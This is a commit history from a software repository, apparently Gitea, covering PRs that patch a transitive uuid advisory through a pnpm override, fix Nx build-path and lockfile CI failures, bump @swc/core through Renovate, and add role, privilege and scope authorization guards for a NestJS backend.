CI / commits (push) Has been skipped
CI / check (push) Successful in 4m55s
CI / scan (push) Successful in 2m36s
CI / a11y (push) Successful in 3m54s
CI / perf (push) Successful in 5m40s
Docs site / build (push) Successful in 5m29s
## Summary

`pnpm ci:audit` was failing on `main` with one moderate-severity finding:

```
uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided
GHSA-w5hq-g745-h8pq
Vulnerable: uuid < 11.1.1
Path:       . > @lhci/cli@0.15.1 > uuid@8.3.2
```

`@lhci/cli@0.15.1` is the latest release and still ships `uuid@8.3.2`; no upstream fix yet. Renovate cannot solve this on its own.

## What lands

| File | Change |
| --- | --- |
| `package.json` | `pnpm.overrides`: add `"uuid@<11.1.1": ">=11.1.1"` alongside the existing axios / ajv / brace-expansion / esbuild / follow-redirects / ip-address / protobufjs / tmp / ws / yaml entries. |
| `pnpm-lock.yaml` | Refreshed. Both `@lhci/cli` and `sockjs` (transitive via the rspack / webpack dev-servers) now resolve to `uuid@14.0.0` — the same major already in the tree via `mermaid`. Net `uuid` versions: 2 → 1. |

## Notes for the reviewer

- **Why an override and not an `auditConfig.ignoreGhsas`.** The repo already uses `pnpm.overrides` for 10 prior advisories on transitive deps with no patched release in their consumer — same pattern applied here. An exemption-document path was drafted then dropped: forcing the fix is cleaner than waving away the warning, and the upgrade actually works.

- **Why our usage was not at risk (context, not justification to skip).** The advisory affects `uuid.v3` / `uuid.v5` / `uuid.v6` when called with the optional `buf` argument. Both consumers in the tree only use `uuid.v4()` (random):
  - `@lhci/cli/src/collect/node-runner.js:65` — `\`flags-${uuid.v4()}.json\``
  - `sockjs/lib/transport.js:9` — `uuidv4 = require('uuid').v4`
  But the audit gate is set to `moderate` per [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md); every flagged advisory blocks merge regardless of reachability. Forcing the fix is the documented response.

- **Why `uuid@14` works for the CJS consumers.** `uuid@14` is ESM-only (`type: module` + conditional `exports`). `@lhci/cli` does `const uuid = require('uuid')` which is a CJS-requires-ESM pattern. Node `>= 22.12` supports it natively via the stable `require(esm)` capability; the workspace pins Node 24 in [`.nvmrc`](.nvmrc), so the consumer is fine. Verified locally:

  ```
  $ node -e "require('@lhci/cli/src/collect/node-runner.js')"
  # no error
  ```

- **Side benefit.** `uuid@8.3.2` was also pulled in transitively via `sockjs`. After the override, the dep tree consolidates onto a single `uuid@14.0.0` — removes the `Found 2 versions of uuid` dedup notice and aligns with the version `mermaid` already uses.

- **Closure condition.** When `@lhci/cli` ships a release with `uuid >= 11.1.1` (or with `uuid@14` directly), Renovate will surface the bump; this override row becomes redundant and can be deleted. Same removal cadence as the other `pnpm.overrides` entries.

## Test plan

- [x] `pnpm ci:audit` — clean: `No known vulnerabilities found`.
- [x] `pnpm ci:check` — 13 projects green (no behavioural change against the previous run).
- [x] Loaded `@lhci/cli`'s node-runner module under the override to confirm `require('uuid')` resolves without error on Node 24.
- [ ] Post-merge CI on `main` runs `pnpm ci:audit` cleanly.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #210
2026-05-24 00:40:38 +02:00
julien 5f1ef2444a fix(ci): align shared-auth build outputPath with tsconfig.lib.json outDir (#209)
CI / check (push) Successful in 3m43s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 3m38s
CI / a11y (push) Successful in 1m20s
CI / perf (push) Successful in 5m1s
## Summary

`pnpm ci:check` was failing on `main` after #208 merged: `portal-bff:build` raised `TS6305 Output file 'dist/out-tsc/libs/shared/auth/src/index.d.ts' has not been built from source file 'libs/shared/auth/src/index.ts'` against every file in `apps/portal-bff/src/auth/` that imports from `shared-auth`. Fresh CI runners hit it; my local runs masked it because a manual `tsc --build` during development had populated both candidate output dirs.

## Root cause

When `nx sync` was first run for #206, it added a TypeScript project reference to `apps/portal-bff/tsconfig.app.json`:

```json
"references": [{ "path": "../../libs/shared/auth" }]
```

`portal-bff`'s build runs webpack with `compiler: 'tsc'` against that tsconfig, so tsc validates the referenced project's outputs exist at the location its tsconfig.lib.json declares as `outDir` — `dist/out-tsc/libs/shared/auth/`.

But `libs/shared/auth/project.json` set `outputPath: dist/libs/shared/auth` and Nx's `@nx/js:tsc` executor honours its own `outputPath` over the tsconfig's `outDir`, emitting the declarations to `dist/libs/shared/auth/` instead. tsc looks at the empty `dist/out-tsc/libs/shared/auth/` location and fails with TS6305.

This was harmless until #208: the previous PRs only had a single `import` from `shared-auth` (in `principal-builder.ts`), and apparently tsc's incremental cache from the local dev box's pre-fix runs was reused in CI. #208 added enough new imports across enough files that the missing declarations became unavoidable.

## What lands

| File | Change |
| --- | --- |
| `libs/shared/auth/project.json` | `outputPath: dist/libs/shared/auth` → `dist/out-tsc/libs/shared/auth`. Aligns Nx's emit location with the tsconfig.lib.json's declared `outDir`, so the project-reference validation finds the declaration files. |

One-line change, no other files touched.

## Notes for the reviewer

- **Why this didn't show in the green CI on #206 / #208.** Both PRs ran the same `nx affected -t format:check lint test build` recipe and both reported green. The likely explanation is that during PR-level runs Nx's distributed cache hit on the `portal-bff:build` task (the inputs included the source files but the cache stored the *result* of the build, which was green from an earlier successful run before the project reference landed). Post-merge runs on `main` evict the cache differently (different commit SHA → cache miss → tsc actually re-runs and hits the missing declarations).

- **Why `shared-util`, `shared-tokens`, etc. don't have the same problem.** They share the exact same outputPath / outDir mismatch in their project.json + tsconfig.lib.json, but they're only consumed by the Angular SPAs (`portal-shell`, `portal-admin`). `@angular/build` does not validate TypeScript project references the same way `webpack + compiler: 'tsc'` does, so the mismatch sits silently. `shared-auth` is the first lib in the workspace that crosses into `portal-bff`, which is why the trap surfaced now.

- **Alternative considered: drop the project reference in `portal-bff/tsconfig.app.json`.** Path aliases in `tsconfig.base.json` resolve `shared-auth` to source files directly, so webpack would still find the imports. Rejected because `nx sync` adds project references back automatically — the alignment-of-paths fix is more durable than a configuration deletion.

- **Why not align the other shared libs preemptively.** They aren't broken — their project references aren't being validated. Touching them in the same PR would expand the diff for zero current benefit. The pattern documented here is what the next lib that's consumed by `portal-bff` will need; the precedent is on the books.

- **Locally reproducible.** `pnpm nx reset && rm -rf dist .nx/cache .nx/workspace-data && pnpm ci:check` reproduces the original failure on the previous commit and passes on this commit.

## Test plan

- [x] `pnpm nx reset && rm -rf dist .nx/cache .nx/workspace-data && pnpm nx affected -t format:check lint test build --base=main --skip-nx-cache` — 3 projects green from a fully cold state.
- [ ] Post-merge CI on `main` runs through `pnpm ci:check` cleanly.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #209
2026-05-23 23:33:20 +02:00
julien 7d91da691b feat(auth): @RequirePrivilege/@RequireRole/@RequireScope guards (ADR-0025) (#208)
CI / check (push) Failing after 4m35s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 3m52s
CI / a11y (push) Successful in 1m59s
CI / perf (push) Successful in 5m50s
## Summary

Phase 2 of [ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md)'s implementation phasing (§"More Information"). The three new route decorators land — `@RequirePrivilege`, `@RequireRole`, `@RequireScope` — alongside the migration of the legacy `@RequireAdmin` to read from `principal.privileges`. Each guard consumes the session-resident `Principal` built by [#206](#206), evaluates its requirement, and either passes or emits a 403 + audit row.

The drift-CI gate (phase 3) is **not** in this PR — it lands next, once the catalogue is being referenced from real route handlers.

## What lands

### Shared lib (`libs/shared/auth`)

| File | Role |
| --- | --- |
| `src/lib/principal-matchers.ts` | Pure functions: `principalHasAnyPrivilege` / `principalHasAnyRole` / `principalCoversResource`. The matchers live in the shared lib so the SPA can render UI predicates with the same logic the BFF enforces server-side. |
| Same file | `ScopableResource` type — optional FINESS / delegation / region / siege parentage. Callers populate the subset their route resource exposes; the matcher iterates and returns true on the first scope that covers a present field. |
| `src/lib/principal-matchers.spec.ts` | 24 unit tests covering OR-composition, the empty-requirement degenerate case (treated as "no constraint" — pass), every scope kind, and the resource-side parentage chain. |

### BFF guards + decorators (`apps/portal-bff/src/auth`)

| File | Role |
| --- | --- |
| `require-privilege.{decorator,guard}.ts` | `@RequirePrivilege('Portal.Admin', ...)` — type-locked to the closed `Privilege` catalogue; multiple values OR-combine. |
| `require-role.{decorator,guard}.ts` | `@RequireRole('rh', ...)` — same shape, against `FunctionalRole`. |
| `require-scope.{decorator,guard}.ts` | `@RequireScope(req => extractResource(req))` — extractor can be async (Prisma lookup pattern); returning `null` is treated as denial with empty `required[]`. |
| `principal-extractor.ts` | Single read of `Principal` off the session, with a legacy-session bridge for principals minted before [#206](#206) landed — filters `user.roles` for `Portal.*` values and synthesises an `unrestricted` scope. After the 12 h absolute-TTL window post-deploy, the bridge becomes dead code. |
| `principal-extractor.spec.ts` | 7 tests covering both code paths. |
| `require-{privilege,role,scope}.guard.spec.ts` | Unit tests for each guard: 401 on anonymous, 403 + audit on denial, pass on match, generic `forbidden` response body (no role/privilege/resource hint leaks). |
| `auth-guards.persona-matrix.spec.ts` | Integration tests: each of the 19 test-tenant personas walked through 5 representative privilege guards + 6 representative role guards. The matrix proves the contracts hold against the real provisioning, not just synthesised principals. |

### Audit module

| File | Change |
| --- | --- |
| `audit.types.ts` | New `AuthorizationDeniedInput` discriminated by `kind: 'privilege' \| 'role' \| 'scope'`. Carries `required[]` and `held[]` arrays so an auditor can pivot on "tried admin while logged in as RH" patterns without joining anything. |
| `audit.service.ts` | New `authorizationDenied()` method emitting the `auth.authorization_denied` event type. Distinct from the existing `admin.access_denied` so admin-surface signals stay clean. |
| `audit.service.spec.ts` | 3 new tests covering the three `kind` values. |

### Legacy guard migration

| File | Change |
| --- | --- |
| `admin/admin-role.guard.ts` | Reads `principal.privileges` instead of `user.roles`. Public `@RequireAdmin()` API unchanged; `admin.access_denied` event type unchanged. The audit row's `rolesHeld` field now carries `Portal.*` values rather than the raw legacy `roles` claim. |
| `admin/admin-role.guard.spec.ts` | Rewritten to exercise `session.principal`-shaped sessions, with a dedicated legacy-bridge sub-suite that asserts pre-ADR-0025 sessions still work. |
| `me/me.controller.ts` | `capabilities().canAccessAdmin` reads `principal.privileges` via the same extractor. |
| `me/me.controller.spec.ts` | Rewritten against the principal shape. |

### AuthModule wiring

| File | Change |
| --- | --- |
| `auth/auth.module.ts` | Three new guards registered as providers and re-exported. |

## Notes for the reviewer

- **Composition semantics.** Within a single decorator, values OR-combine (`@RequireRole('rh', 'comptable')` matches anyone with either). Stacking decorators AND-combines at the Nest level — `@RequireRole('rh') @RequirePrivilege('Portal.Admin')` requires both, because each guard runs separately and a single denial stops the request. The empty-requirement case is rejected at the type level by the tuple `[Privilege, ...Privilege[]]` so a route can not opt out of authorization by passing zero values.

- **Why `auth.authorization_denied` and not `admin.access_denied` for the new guards.** ADR-0025 §347 originally said "writes an `admin.access_denied` row", but reusing the `admin.*` namespace would have meant the future `@RequireRole('rh')` on a non-admin HR route ships an event whose type implies an admin surface. The new event type lives in the `auth.*` namespace where the guards live; a `kind` discriminator on the payload tells privilege / role / scope denials apart. The legacy `admin.access_denied` event continues unchanged for `AdminRoleGuard`.

- **The legacy-session bridge is short-lived.** After the 12 h absolute-TTL window from this PR's deploy, every session in Redis has a `principal` field and the bridge's `else` branch becomes unreachable. The bridge keeps `@RequireAdmin` + `MeController` functional during that window without needing a forced re-auth campaign.

- **Why a `ScopableResource` shape rather than a `Resource | Resource | ...` union per kind.** Routes protect heterogeneous resource types (`Etablissement`, `Dossier`, `Person`), each exposing a different subset of the parentage chain. The optional-field shape lets each route populate what its resource carries and lets the matcher iterate over the principal's scopes once. The cost is that a route author who forgets to populate `delegationCode` on an `Etablissement` resource locks delegation-scoped users out — a typing exercise that the next round of work (concrete consumers) will surface naturally.

- **Why `principalCoversResource` deny on doubt.** When a route's extractor returns a resource that lacks the parentage `delegationCode` field, a `delegation:33` scope no longer matches — deny is the safe direction. An over-restrictive deny shows up in the audit log (operator can fix the extractor); an over-permissive pass would silently leak data. The non-transitivity of the parentage chain is an intentional contract.

- **Why migrate `MeController` in the same PR.** The `canAccessAdmin` flag reads the same axis (`Portal.Admin` privilege). Leaving it on the legacy `user.roles` shape while everything else moves to `principal.privileges` would create internal inconsistency; a future reviewer would rightfully ask "why?". The migration is three lines plus a spec rewrite.

- **The drift-CI gate is the next PR.** ADR-0025 §"More Information" step 3. ESLint custom rule (or a `pnpm run` script) grepping every `@RequirePrivilege('...')` / `@RequireRole('...')` / scope-kind literal in the codebase and asserting each one exists in the catalogue. Now there is something to grep for (the decorators and their tests reference catalogue values), so the gate is well-scoped to land standalone.

- **No real consumers of `@RequireScope` yet.** The scope guard ships with a fully exercised contract (extractor signature, async support, audit shape, generic-forbidden body) but no live route. The first consumer surface lands with the `Person` + `User` schema (proposed ADR-0026) and the resource-loading routes that follow.

## Test plan

- [x] `pnpm nx affected -t lint test build --base=main` — 3 projects green
  - `portal-bff`: 741 tests pass (was 497 in #206 — +244 new: matchers/guards/persona-matrix/audit/extractor).
  - `shared-auth`: 41 tests pass (was 17 in #206 — +24 new matcher tests).
  - `portal-bff-e2e`: lint green.
- [x] `pnpm nx format:check` — clean after `pnpm nx format:write`.
- [ ] **Review focus** — the 19-persona matrix (each persona walked through 5 privilege guards + 6 role guards); the legacy-session bridge in `principal-extractor.ts` and its tests; the `admin.access_denied` audit payload now carries `Portal.*` values rather than legacy `roles` (intentional, called out above); the `auth.authorization_denied` event-type rationale.

## What's next

Per ADR-0025 §"More Information" phasing:

1.  #206 — types + Principal builder + group-to-role mapping skeleton.
2.  **This PR** — the three new decorators + guards, legacy `@RequireAdmin` migration.
3. **Next PR** — drift CI gate. ESLint custom rule (or `pnpm run` script) that asserts every `@RequireX('...')` literal in code is in the closed catalogue.
4. **Depends on ADR-0026** — `user_scopes` Prisma table + seed + `PrismaScopeResolver` replacing `StubScopeResolver`, then the first concrete consumers of `@RequireScope`.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #208
2026-05-23 21:49:34 +02:00
julien a34709613f fix(ci): refresh lockfile for the new shared-auth lib (#207)
CI / commits (push) Has been skipped
CI / check (push) Failing after 6m39s
CI / a11y (push) Successful in 5m6s
CI / scan (push) Failing after 8m10s
CI / perf (push) Successful in 9m37s
Docs site / build (push) Successful in 4m40s
## Summary

The auth-catalogue skeleton PR (#206) added `libs/shared/auth/` with three dev dependencies (`tslib`, `vitest`, `@nx/vite`) in the new lib's `package.json` but did not refresh `pnpm-lock.yaml`. As a result the post-merge `pnpm install --frozen-lockfile` step in CI on `main` fails with:

```
ERR_PNPM_OUTDATED_LOCKFILE  Cannot install with "frozen-lockfile" because
pnpm-lock.yaml is not up to date with <ROOT>/libs/shared/auth/package.json
specifiers in the lockfile don't match specifiers in package.json:
* 3 dependencies were added: tslib@^2.3.0, vitest@^4.0.8, @nx/vite@^22.7.1
```

Running `pnpm install` locally adds the missing `importers["libs/shared/auth"]` block. No other dependency moves — every other version is pinned to what `main` already resolved.

## What lands

| File | Change |
| --- | --- |
| `pnpm-lock.yaml` | +12 lines: new `importers["libs/shared/auth"]` entry with the three deps resolved to `tslib@2.8.1`, `vitest@4.1.6`, `@nx/vite@22.7.2` — same versions as the other `libs/shared/*` libs already use. |

## Notes for the reviewer

- **Why this didn't surface during #206's CI run.** PR-level CI runs against the branch's `pnpm-lock.yaml` *after* `pnpm install` had refreshed it locally during the work. The lockfile delta should have been part of #206 but was missed at commit time. Post-merge CI on `main` is the first run that exercises a clean `--frozen-lockfile` against the merged tree, which is when the gap shows.
- **Why not amend #206.** It's already on `main`. A separate small fix-up PR is cleaner than re-opening the merged history.
- **Preventing recurrence.** Standard Nx flow: every PR that creates a new lib or moves a dep should run `pnpm install` and stage the lockfile alongside the source. A future drift-gate (mentioned in ADR-0025 §"Confirmation" for catalogue drift) could be extended to also assert lockfile-vs-package-json alignment, but that's out of scope for this fix.

## Test plan

- [x] `pnpm install --frozen-lockfile` succeeds locally on this branch.
- [ ] Post-merge CI on `main` runs through the install step cleanly.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #207
2026-05-23 21:21:59 +02:00
APF Portal Bot 273d96551f chore(deps): update dependency @swc/core to v1.15.40 (#204)
CI / commits (push) Has been skipped
CI / check (push) Failing after 16s
CI / perf (push) Failing after 32s
CI / a11y (push) Failing after 34s
CI / scan (push) Failing after 53s
Docs site / build (push) Failing after 21s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@swc/core](https://swc.rs) ([source](https://github.com/swc-project/swc/tree/HEAD/packages/core)) | devDependencies | patch | [`1.15.33` -> `1.15.40`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.15.33/1.15.40) |

---

### Release Notes

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.15.40`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11540---2026-05-23)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.33...v1.15.40)

##### Bug Fixes

- **(es/minifier)** Preserve args for destructured callbacks ([#&#8203;11830](https://github.com/swc-project/swc/issues/11830)) ([21873b0](https://github.com/swc-project/swc/commit/21873b06df3fd62d952a21cf879e14d11d4b39d7))

- **(es/minifier)** Avoid generating mangled property names that collide with existing properties ([#&#8203;11839](https://github.com/swc-project/swc/issues/11839)) ([9b4fab5](https://github.com/swc-project/swc/commit/9b4fab58c90256a6da688de87ea405225a5a6fdb))

- **(es/minifier)** Respect ecma for iife temp vars ([#&#8203;11873](https://github.com/swc-project/swc/issues/11873)) ([e481934](https://github.com/swc-project/swc/commit/e481934a63c0ee891e4a770c4f0cd5ec3fd8624e))

- **(es/minifier)** Preserve default parameter object props ([#&#8203;11884](https://github.com/swc-project/swc/issues/11884)) ([71ff84f](https://github.com/swc-project/swc/commit/71ff84f19762306ab9b86accb29eb6ed83c46f84))

- **(es/parser)** Reject object-rest assignment to array/object literal ([#&#8203;11875](https://github.com/swc-project/swc/issues/11875)) ([7b57d1f](https://github.com/swc-project/swc/commit/7b57d1f8717d8bf6be0b617b04bc6e219a2b3775))

- **(es/parser)** Reject object rest assignment to literals ([#&#8203;11881](https://github.com/swc-project/swc/issues/11881)) ([4ec2eaf](https://github.com/swc-project/swc/commit/4ec2eaf4d89ddd95293b8f09169a88b0434c5a13))

- **(es/react)** Exclude self-recursive hooks from refresh dependency array ([#&#8203;11838](https://github.com/swc-project/swc/issues/11838)) ([9101c71](https://github.com/swc-project/swc/commit/9101c719fa8f3f5cb410d716d4f50544650cd81e))

- **(ts/fast-dts)** Strip definite assertions in dts ([#&#8203;11858](https://github.com/swc-project/swc/issues/11858)) ([2ab1b8a](https://github.com/swc-project/swc/commit/2ab1b8a50f2af3d8b4c42d6c4dd4f2051940cae0))

- **(ts/fast-strip)** Reject unsafe assertion erasure in binary expressions ([#&#8203;11828](https://github.com/swc-project/swc/issues/11828)) ([aa5b539](https://github.com/swc-project/swc/commit/aa5b539b277dbf4c68c87380d16f4b8713145df3))

- **(typescript)** Strip parameter binding defaults in dts ([#&#8203;11857](https://github.com/swc-project/swc/issues/11857)) ([800bc17](https://github.com/swc-project/swc/commit/800bc170334a74191eb5ae21e3bfc96bf6f7fe56))

##### Documentation

- Update agent guidance ([#&#8203;11842](https://github.com/swc-project/swc/issues/11842)) ([bf2d015](https://github.com/swc-project/swc/commit/bf2d0154cf8b66fdab16085585fda0086d297a64))

- Add security policy ([#&#8203;11876](https://github.com/swc-project/swc/issues/11876)) ([6c43c2d](https://github.com/swc-project/swc/commit/6c43c2de9cb9d5516b0ac87101345940964e943e))

- Clarify security scope for npm packages ([#&#8203;11877](https://github.com/swc-project/swc/issues/11877)) ([4662db8](https://github.com/swc-project/swc/commit/4662db8fe3e503f298a285697ea63ecc1ca3b958))

- Clarify untrusted input security model ([#&#8203;11882](https://github.com/swc-project/swc/issues/11882)) ([5463777](https://github.com/swc-project/swc/commit/546377770e164aead174404fb678319c9c56a9dc))

##### Features

- **(es/minifier)** Fine grained effect analysis of class ([#&#8203;11814](https://github.com/swc-project/swc/issues/11814)) ([c9058ad](https://github.com/swc-project/swc/commit/c9058adb5bb7d6bbe354e6136685271f722354a0))

- **(swc\_cli)** Implement all features for `swc_cli` ([#&#8203;11797](https://github.com/swc-project/swc/issues/11797)) ([9300ede](https://github.com/swc-project/swc/commit/9300ede1d495463042da1db11754c76057a50954))

##### Miscellaneous Tasks

- **(es/minifier)** Fix typo in debug log ([#&#8203;11866](https://github.com/swc-project/swc/issues/11866)) ([3de0254](https://github.com/swc-project/swc/commit/3de0254db7fae5a2883af78b8b7d57af4cb94531))

- **(html)** Add webcontainer fallback for `@swc/html` ([#&#8203;11860](https://github.com/swc-project/swc/issues/11860)) ([7692eed](https://github.com/swc-project/swc/commit/7692eed981916bb01a3c4c231b3af012d4993d9e))

##### Performance

- **(ecma)** Reduce transformer compat overhead ([#&#8203;11856](https://github.com/swc-project/swc/issues/11856)) ([d03cb71](https://github.com/swc-project/swc/commit/d03cb71fb8b39f01f0ad704473109294e52e07fd))

- **(es/codegen)** Speed up JsWriter position and srcmap tracking ([#&#8203;11867](https://github.com/swc-project/swc/issues/11867)) ([dbceade](https://github.com/swc-project/swc/commit/dbceade22809ac9a9cb7548456ab335df26fb046))

- **(es/codegen)** Remove JsWriter last\_srcmap cache ([#&#8203;11869](https://github.com/swc-project/swc/issues/11869)) ([3bc1c2b](https://github.com/swc-project/swc/commit/3bc1c2b9b2594b05478dc4240977b981d6f8521b))

- **(es/minifier)** Reduce minifier profiling hotspots ([#&#8203;11853](https://github.com/swc-project/swc/issues/11853)) ([28c1091](https://github.com/swc-project/swc/commit/28c1091adb2c6f6d0e46daa5595908d1ba6fccb7))

- Optimize es parser comment finalization ([#&#8203;11852](https://github.com/swc-project/swc/issues/11852)) ([2959ddf](https://github.com/swc-project/swc/commit/2959ddf87af0ac95eb5176180782819bd1073d66))

##### Testing

- **(es/minifier)** Move issue\_11835 fixture out of terser folder ([#&#8203;11840](https://github.com/swc-project/swc/issues/11840)) ([3dd3431](https://github.com/swc-project/swc/commit/3dd34310d429baff6e8d1a6393266c648684d3c6))

##### Ci

- Update corepack in publish docker jobs ([#&#8203;11885](https://github.com/swc-project/swc/issues/11885)) ([9a7d954](https://github.com/swc-project/swc/commit/9a7d954c4939b12da4c60023eba50d6df8086fd7))

- Pass publish docker env explicitly ([#&#8203;11888](https://github.com/swc-project/swc/issues/11888)) ([c5f7547](https://github.com/swc-project/swc/commit/c5f7547cf68a4803aec3e88901e0d6b57ebbeb55))

- Lock issues closed by merged prs ([#&#8203;11887](https://github.com/swc-project/swc/issues/11887)) ([6bd74e5](https://github.com/swc-project/swc/commit/6bd74e5683ed43640db64f78dc74001a056c1bfa))

- Provide aarch64 musl linker in publish job ([#&#8203;11889](https://github.com/swc-project/swc/issues/11889)) ([20234fd](https://github.com/swc-project/swc/commit/20234fd265f8f86f0c81c31c36e467d405a04d01))

- Fix publish musl linker and windows tests ([#&#8203;11890](https://github.com/swc-project/swc/issues/11890)) ([a798a23](https://github.com/swc-project/swc/commit/a798a23e5f5018e5c01f874457aa20370c0d7058))

- Make minifier test path explicit ([#&#8203;11891](https://github.com/swc-project/swc/issues/11891)) ([e7cba97](https://github.com/swc-project/swc/commit/e7cba972ff25565208c4448accab19c259e6947c))

##### Security

- Save CI caches only on main ([#&#8203;11848](https://github.com/swc-project/swc/issues/11848)) ([7582529](https://github.com/swc-project/swc/commit/75825293150b548216bf5c08531e1850bd064fcb))

- Update rkyv and Rust dependencies ([#&#8203;11851](https://github.com/swc-project/swc/issues/11851)) ([20d92eb](https://github.com/swc-project/swc/commit/20d92eb3c8dee378f046a6bff839913600a1fbdb))

- Harden PR workflow permissions ([#&#8203;11849](https://github.com/swc-project/swc/issues/11849)) ([e199564](https://github.com/swc-project/swc/commit/e199564ebaae88ec121a777cf0ec4eec9644aed5))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/204
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-23 21:13:06 +02:00
julien 12136f7a8a feat(auth): authorization catalogues + Principal builder skeleton (ADR-0025) (#206)
CI / commits (push) Has been skipped
CI / check (push) Failing after 20s
CI / a11y (push) Failing after 20s
CI / perf (push) Failing after 44s
CI / scan (push) Failing after 55s
Docs site / build (push) Failing after 29s
## Summary

First implementation PR after [ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md) was accepted in #205. Lands the closed-set catalogues + the OIDC-callback hook that composes the session-resident `Principal`. No new guards yet — those come in the next PR per the ADR's `§More Information` phasing.

## What lands

**New shared library: `libs/shared/auth/`** (`scope:shared`, `type:shared`, framework-agnostic, vitest)

| File | Role |
| --- | --- |
| `src/lib/authorization.types.ts` | Closed catalogues: `PRIVILEGES` (4), `FUNCTIONAL_ROLES` (24), `SCOPE_KINDS` (6). `Principal`, `Scope` types. `isPrivilege` / `isFunctionalRole` / `isScopeKind` type-guards for the drift gate. |
| `src/lib/entra-group-to-role.ts` | `parseEntraGroupMap` (validates GUID + slug closedness + dedup) + `EntraGroupToRoleResolver` (translates the Entra `groups` claim into ordered `apf-role-*` slugs, reports unknown GUIDs via callback). |
| `src/lib/*.spec.ts` | 17 unit tests against the catalogue counts + resolver contracts. |

**BFF wiring** (`apps/portal-bff/src/auth/` + `src/config/`)

| File | Role |
| --- | --- |
| `auth.service.ts` | Extracts the Entra `groups` claim. `AuthenticatedUser` grows `groups: readonly string[]`. |
| `principal-builder.ts` | Composes the three axes at sign-in. Filters `roles` claim through `isPrivilege` (drops + WARNs on unknown), resolves `groups` claim through the `EntraGroupToRoleResolver` (drops + WARNs on unknown). |
| `scope-resolver.ts` | `ScopeResolver` abstract class + `StubScopeResolver` returning `[{ kind: 'unrestricted' }]` (per ADR-0025 §331 — replaced by a Prisma implementation when ADR-0026's `user_scopes` table lands). |
| `session-establisher.service.ts` | Calls `PrincipalBuilder.build()` once, persists the result as `req.session.principal`. The legacy `req.session.user` shape is untouched (audit + AI bridge keep working). |
| `session.types.ts` | Adds optional `principal?: Principal` field on the express-session augmentation. |
| `entra-group-to-role.token.ts` | DI token for the lazily-loaded resolver. |
| `config/load-entra-group-map.ts` | Reads the gitignored `infra/<env>-tenant.entra.json` at boot. Missing path → empty resolver + WARN. Malformed file → hard fail (alternative would be silently dropping a role). |

**Tests against the 19 test-tenant personas** (`principal-builder.spec.ts`)

Every persona provisioned in `apfrd.onmicrosoft.com` on 2026-05-20 is exercised end-to-end: `admin`, `directeur-bordeaux`, `directeur-complexe`, `rh-aquitaine`, `rh-siege`, `collaborateur-simple`, `tresorier-bordeaux`, `dpo`, `it`, `benevole-aquitaine`, `chef-equipe-bordeaux`, `chef-service-bordeaux`, `directeur-territorial-aquitaine`, `juriste-siege`, `rssi`, `communication-siege`, `elu-ca-national`, `president-cd-aquitaine`, `secretaire-cd-aquitaine`. A coverage assertion confirms the personas cover all 4 privileges + 23 of 24 functional roles (the `partenaire` gap is intentional per ADR-0025).

**Infra + docs**

| File | Change |
| --- | --- |
| `infra/test-tenant.entra.example.json` | Template GUID → slug map (24 entries, full v1 catalogue). Real file (`*-tenant.entra.json`) gitignored. |
| `infra/README.md` | New row + "Entra group map" section documenting the load semantics + provisioning workflow. |
| `apps/portal-bff/.env.example` | New `ENTRA_GROUP_MAP_PATH` block. |
| `.gitignore` | `infra/*-tenant.entra.json` (except `.example.json`). |
| `tsconfig.base.json` | `shared-auth` path alias. |
| `notes/entra-groups-claim-activation.md` | Operator runbook for the Entra admin-centre step (Token configuration → Add groups claim → Security groups → Group ID). |

**ADR amendment**

| File | Change |
| --- | --- |
| `docs/decisions/0025-authorization-model-privileges-roles-scopes.md` | Path references updated `libs/feature/auth/...` → `libs/shared/auth/...` (4 occurrences), and the `ENTRA_GROUP_TO_ROLE` static-record example replaced by the actual `EntraGroupToRoleResolver` + JSON shape. |

## Notes for the reviewer

- **Why `libs/shared/auth/` and not `libs/feature/auth/` (as the ADR initially said).** The existing `libs/feature/auth/` carries `tags: ['scope:portal-shell', 'type:feature']`, which the Nx `enforce-module-boundaries` rule in `eslint.config.mjs:36-46` blocks the BFF from importing. The catalogue is needed by both sides (BFF builds the `Principal`, SPA will gate UI conditionally later), so a `scope:shared` lib is the correct home. The ADR is patched in the same PR so the document and the code agree.

- **Why drop unknown privileges with a WARN instead of preserving them.** `Portal.GhostRole` in the `roles` claim is either a leftover from a different app registration or a v1+1 experiment that hasn't been added to the catalogue yet. Both paths should not silently grant access — drop with a WARN so an operator notices, and the drift CI gate (next PR) catches the source-side equivalent before merge.

- **Why the principal builder uses a `ScopeResolver` seam now.** Per ADR-0025 §331 the v1 implementation returns `unrestricted` for everyone; the real version queries the `user_scopes` Prisma table that lands with ADR-0026. The seam is here so the next PR replaces only the implementation, not the call-site in `PrincipalBuilder` or its 24 tests. Per-persona stub scope data was deliberately not embedded in this PR — no guard consumes scopes yet, so it would be write-only documentation that drifts from the eventual Prisma seed.

